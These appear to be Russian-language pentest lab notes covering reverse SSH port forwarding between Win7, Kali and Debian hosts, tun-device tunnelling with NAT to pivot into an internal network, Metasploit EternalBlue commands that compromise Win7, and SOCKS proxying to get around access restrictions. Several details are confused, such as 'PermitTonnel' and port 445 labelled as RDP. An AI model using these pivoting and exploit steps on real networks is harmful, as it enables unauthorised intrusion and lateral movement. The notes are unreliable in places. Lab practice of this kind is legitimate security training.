#### - **ПЕРЕД РАБОТОЙ НАСТРОИТЬ НА LINUX:**
- сети: [https://hackmd.io/X-EplRPtQJmEsPPQOTJ8gw](https://);
- интерфейсы:
- DNS:
- запущен ли сервис SSH:
> # НАСТРОЙКА SSH
1. Редактируем параметры ssh в файле ssh_config: **"nano /etc/ssh/sshd_config"**.
Разкомментируем строку PermitRootLogin и изменим ее - **"PermitRootLogin yes"**. Сохраняем файл.
2. Перезапускаем сервис - **"systemctl restart ssh"**.
3. Отправляем сервис в автозагрузку - **"systemctl enable ssh"**.
4. Проверяем статус работы SSH - **"systemctl status ssh"**:.
> # ПРОБРОС "ОБРАТНЫХ" ТОННЕЛЯ (SSH PORT-FORWARDING)
> ### **ВАРИАНТ №1 c win7 на KALI - с использованием порта RDP (3389)**
1. Подключаем на win7 программу для подключения по ssh (putty) на удаленный хост (kali).
**Настраиваем подключение к нашему Kali-серверу (ip - 192.168.60.139]**.
2. Указываем порт, с которого будет подключаться удаленный хост к нашему серверу (source port) - в данном случае **9999**
Подключение своих портов к удаленному хосту (функция **Remote**) - в данном случае 3389 (порт RDP). Не забываем указать, что мы являемся сервером - **localhost:3389**.
3. Просмотр прослушиваемых портов на kali - **"ss -tunlp"**, видим там строку с нашим портом и подключением ssh:.
4. Запускаем программу xfreerdp - для подключения с linux-os на windows по порту RDP (3389) - **"xfreerdp /u:admin /p:eve /v:127.0.0.1:9999"**.
**/u:admin** - пользователь
**/p:eve** - пароль
**/v:127.0.0.1:9999** - наш сервер (localhost - 127.0.0.1;
9999 - порт, который мы указывали в putty:
> ### **ВАРИАНТ №2 c Win7 на KALI, используя дополнительный Debian-server (с использованием любого порта)**
1. Создадим еще один сервер (debian), настроим на нем сеть.
2. Подключаем на win7 программу для подключения по ssh (putty) на удаленный хост (kali).
**Настраиваем подключение к нашему Kali-серверу (ip - 192.168.60.139**
3. Указываем порт, с которого будет подключаться удаленный хост к нашему серверу (source port) - в данном случае **2222**
Подключение своих портов к удаленному хосту (функция **Remote**) - **192.168.1.101:22**.
**В данном случае, сервером является уже сервер debian - 192.168.1.101, а порт - 22 (порт SSH)**..
4. Проверим статус работы SSH - **"systemctl status ssh"** - должно быть **"enabled"**
5. Просмотр прослушиваемых портов на kali - **"ss -tunlp"**, видим там строку с нашим портом и подключением ssh: 
6. Проброс портов по ssh с kali-server на win7 через debian-server - подключаемся с kali на свой же localhost по указанному нами порту (2222)
**"ssh root@127.0.0.1 -p2222"**: 
> ### **ВАРИАНТ №3 c Debian на Win7 (используя дополнительный Kali-server) - с использованием любого порта**
1. Пробрасываем SSH тоннель с Debian на Kali:
**"ssh -R 9999:192.168.1.100:445 192.168.60.139"**:
- **"ssh -R - реверс коннект"**
- **"9999 - порт, который бросаем на Kali"**
- **"192.168.1.100 - ip Win7"**
- **"445 - порт win7 (RDP)"**
- **"192.168.60.139 - ip Kali"**:
2. Просмотр прослушиваемых портов на kali - **"ss -tunlp"**, видим там строку с нашим портом и подключением ssh: 
3. Запускаем программу xfreerdp - для подключения с linux-os на windows по порту RDP (3389) - **"xfreerdp /u:admin /p:eve /v:127.0.0.1:9999"**.
**/u:admin** - пользователь
**/p:eve** - пароль
**/v:127.0.0.1:9999** - наш сервер (localhost - 127.0.0.1;
9999 - порт, который мы указывали в putty:
> # **ИСПОЛЬЗОВАНИЕ METASPLOIT**
>
1. Запускаем metasploit - "**msfconsole**".
2. Через поиск ищем bluekeep - **"search eternalblue"**,
запускаем: **"use 3"**,
загружаем алгоритм (payloads): **"show payloads"**
выбираем payload 15 - **"set payload 15"**
3. Посмотрим доступные опции - **"show options"**:
4. Устанавливаем опционные **required** параметры:
- **"set rhosts 127.0.0.1"** - хост, который "ломаем" (win7)
- **"set rport 9999"** - порт, который "ломаем" (win7)
- **"set lhosts 192.168.60.139"** - хост, на который все отсылается (kali)
- **"run"** - запускаем eternalblue:
5. Сработка экплойта и получение доступа в win7:
> # **SSH Туннелирование (C KALI на WIN7)**
1. Редактируем параметры ssh в файле ssh_config: **"nano /etc/ssh/sshd_config"**.
Разкомментируем строку PermitTonnel и изменим ее - **"PermitTonnel yes"**. Сохраняем файл.
2. Перезапускаем сервис - **"systemctl restart ssh"**.
3. **ОБЯЗАТЕЛЬНО ОТ РУТА**
Подключение с помощью ssh тоннелирования к kali c debian:
**"ssh -w 5:5 root@ip_хоста_к_которому_подключаемся"**
(в данном случае и далее = 192.168.60.139).
- **-w 5:5** - прописываем тоннели на обоих интерфейсах **(tun5:tun5)**

2. Поднятие, запуск, а также проверка ip для тоннелирования на debian.
Добавление ip адресса: **"ip addr add 192.168.100.100/24 dev tun5"**:
Поднятие интерфейса: **"ip link set dev tun5 up"**:
Проверка поднятого интерфеса: **"ping 192.168.100.150"**
3. Поднятие, запуск и проверка ip для тоннелирования на kali (по аналогии с debian).
**"ip addr add 192.168.100.100/24 dev tun5"**
**"ip link set dev tun5 up"**
**"ping 192.168.100.100**":
4. Включение роутинга на debian (linux OS)
**"nano /etc/sysctl.conf"** разкомментируем строку **"net.ipv4.ip_forward=1"** и применяем настройки командой **"sysctl -p"**:
5. Включаем "натинг" на debian - NAT: **"iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE"**
-iptables -t nat - включаем NAT
-A POSTROUTING - преобразования, выполняемые после маршрутизации
-o ens3 - куда отправляем
-j MASQUERADE - маскировка source адрессов:
6. Обновляем систему **"apt update"**, для корректной установки пакетов **iptables**. В процессе установки, сохраняем правила - **yes**.
7. Устанавливаем iptales-persistent - для сохранения правил: **"apt install iptables-persistent"**:
8. Доступ (после внедрения NAT) к внутренней сети за файерволом через тоннель с debian - **"ip route add 192.168.1.0/24 via 192.168.100.100"**:. Далее необходимо проверить пинг **"ping 192.168.1.1"**
9. Запускаем **meterpreter**:
**"msfconsole"**
10.Через поиск ищем bluekeep - **"search eternalblue"**,
запускаем: **"use 3"**,
загружаем алгоритм (payloads): **"show payloads"**
выбираем payload 15 - **"set payload 15"**
11. Атака на win7 с помощью metasploit с kali-linux через debian-linux.
посмотрим опции: **"show options"**
устанавливаем хост, куда коннектимся: **"set rhost 192.168.1.100"**
устанавливаем порт: **"set rport 445"**
проверим ip адресса: **"ip a"**
запукаем эксплойт: **"run"**:
12. Удачное завершение атаки и получение доступа: 
> # **SSH Туннелирование (c WIN10 на WIN7)**
>
1. В Kali перезагружаем SSH: **service ssh restart**.
2. В PowerShell пишем команду - **"ssh -R 3389:ip_Win7:3389 root@ip_Kali"**.
3. Просмотр прослушиваемых портов на kali - **"ss -tunlp"**, видим там строку с нашим портом и подключением ssh.
4. Запускаем программу xfreerdp - для подключения с linux-os на windows по порту RDP (3389) - **"xfreerdp /u:admin /p:eve /v:127.0.0.1:3389"**
> ### **ИСПОЛЬЗОВАНИЕ SSH+Proxy (SOCKS 5) ДЛЯ ВЫХОДА ИЗ ВНУТРЕННЕЙ СТРУКТУРЫ, ЕСЛИ ДОСТУП ЗАКРЫТ К ОПРЕДЕЛЕННЫМ РЕСУРСАМ**
1. **ssh -f -QNTn -D "*:1098" user@ip_сервера_через_который_ выходим"**.
2. Используем браузер Firefox и в настройках ставим такие параметры: